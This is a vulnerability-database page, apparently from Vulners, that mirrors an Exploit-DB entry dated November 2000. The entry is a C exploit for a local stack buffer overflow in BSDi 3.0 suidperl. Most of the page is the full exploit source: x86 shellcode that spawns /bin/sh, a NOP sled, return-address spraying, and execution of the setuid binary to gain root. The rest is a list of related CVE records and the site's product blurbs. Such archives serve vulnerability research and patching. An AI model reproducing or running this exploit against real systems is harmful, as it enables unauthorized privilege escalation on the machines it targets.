Lucene search
+L

BSDi SUIDPerl - Local Stack Buffer Overflow

🗓️ 21 Nov 2000 00:00:00Reported by vade79Type 
exploitdb
 exploitdb
🔗 www.exploit-db.com👁 58 Views

Exploit for BSDi SUIDPerl buffer overflow, providing elevated privileges using stack overflow technique.

Related
Code
ReporterTitlePublishedViews
Family
cve
CVE
CVE-1999-0034
29 Sep 199904:00
cve
cvelist
Cvelist
CVE-1999-0034
29 Sep 199904:00
cvelist
exploitdb
Exploit DB
BSD/OS 2.1/3.0 / Larry Wall Perl 5.0 03 / RedHat 4.0/4.1 / SGI Freeware 1.0/2.0 SUIDPerl - Local Overflow (1)
17 Apr 199700:00
exploitdb
exploitdb
Exploit DB
BSD/OS 2.1/3.0 / Larry Wall Perl 5.0 03 / RedHat 4.0/4.1 / SGI Freeware 1.0/2.0 SUIDPerl - Local Overflow (2)
17 Apr 199700:00
exploitdb
exploitdb
Exploit DB
suid_perl 5.001 - Command Execution
1 Jun 199600:00
exploitdb
euvd
EUVD
EUVD-1999-0034
7 Oct 202500:30
euvd
nvd
NVD
CVE-1999-0034
29 May 199704:00
nvd
ptsecurity
Positive Technologies
PT-1997-1017 · Perl · Perl
29 May 199700:00
ptsecurity
redhatcve
RedhatCVE
CVE-1999-0034
7 Jan 202609:43
redhatcve
susecve
SUSE CVE
SUSE CVE-1999-0034
6 Aug 202404:50
susecve
Rows per page
/* (BSDi)suidperl[] buffer overflow, by v9[[email protected]].  this is that old
   buffer overflow in suidperl, but i never saw any version of it for BSDi.
   so, here it is.  this gives euid=0. (BSDi/3.0)
*/
#define PATH "/usr/bin/suidperl"	/* path to suidperl on BSDi/3.0. */
#define DEFAULT_OFFSET -5000		/* general offset, a lot of room. */
static char exec[]=
 "\xeb\x1f\x5e\x31\xc0\x89\x46\xf5\x88\x46\xfa\x89\x46\x0c" /* 14 characters. */
 "\x89\x76\x08\x50\x8d\x5e\x08\x53\x56\x56\xb0\x3b\x9a\xff" /* 14 characters. */
 "\xff\xff\xff\x07\xff\xe8\xdc\xff\xff\xff\x2f\x62\x69\x6e" /* 14 characters. */
 "\x2f\x73\x68\x00"; /* 4 characters; 46 characters total. */
long pointer(void){__asm__("movl %esp,%eax");}
int main(int argc,char **argv){
 char eip[2048],buf[4096];
 int i,offset;
 long ret;
 printf("[ (BSDi)suidperl[]: buffer overflow, by: v9[[email protected]]. ]\n");
 if(argc>1){offset=atoi(argv[1]);}
 else{offset=DEFAULT_OFFSET;}
 ret=(pointer()-offset);
 eip[0]=0x01;
 for(i=1;i<2048;i+=4){*(long *)&eip[i]=ret;}
 eip[1248]=0x0;
 for(i=0;i<(4096-strlen(exec)-strlen(eip));i++){*(buf+i)=0x90;}
 memcpy(buf+i,exec,strlen(exec));
 memcpy(buf,"EXEC=",5);putenv(buf);
 printf("*** [data]: return address: 0x%lx, offset: %d.\n",ret,offset);
 if(execlp(PATH,"suidperl",eip,0)){
  printf("*** [error]: could not execute %s successfully.\n",PATH);
  exit(1);
 }
}


// milw0rm.com [2000-11-21]

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

21 Nov 2000 00:00Current
5.8Medium risk
Vulners AI Score5.8
CVSS 27.2
EPSS0.01175
58